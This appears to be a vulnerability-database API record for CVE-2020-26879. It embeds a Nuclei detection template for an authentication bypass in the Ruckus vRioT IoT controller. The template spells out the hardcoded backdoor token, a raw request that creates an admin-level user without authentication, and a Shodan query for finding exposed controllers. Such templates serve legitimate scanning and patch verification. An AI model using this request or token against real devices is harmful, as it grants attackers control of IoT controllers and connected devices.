{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-26879/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-26879/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-26879/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-26879/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-26879/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-26879"},"sightings":{"href":"/api/v1/sightings/cve-2020-26879"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-26879.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-26879\n\ninfo:\n  name: Ruckus vRioT IoT Controller - Authentication Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.\n  impact: |\n    Unauthenticated attackers can interact with the API without authentication via a hardcoded token, allowing complete control over the IoT controller and connected devices.\n  remediation: |\n    Update to Ruckus vRioT version 1.5.1.0.22 or later.\n  reference:\n    - https://adepts.of0x.cc/ruckus-vriot-rce/\n    - https://adepts.of0x.cc\n    - https://twitter.com/TheXC3LL\n    - https://x-c3ll.github.io\n    - https://github.com/alphaSeclab/sec-daily-2020\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-26879\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-26879\n    cwe-id: CWE-798\n    epss-score: 0.45083\n    epss-percentile: 0.98729\n    cpe: cpe:2.3:a:commscope:ruckus_vriot:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: commscope\n    product: ruckus_vriot\n    shodan-query: html:\"RIoT Controller\"\n  tags: cve,cve2020,ruckus,vriot,iot,api,backdoor,auth-bypass,vkev,vuln\n\nvariables:\n  username: \"{{randstr_1}}\"\n  password: \"{{randstr_2}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /service/v1/createUser HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: OlDkR+oocZg=\n\n        {\"username\": \"{{username}}\", \"password\": \"{{password}}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{\"ok\": 1}'\n          - '{\"message\":'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - 'Invalid JSON'\n        negative: true\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100aa18f80e7c8dccf351857a64d90eb58399026ef713f5b26a6c5d4faaeabf3b9f022025b89cc4c29cf7c096dae643ba206d2306a9a6a8b3bdc2ed1d4ff33454100238:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-26879"}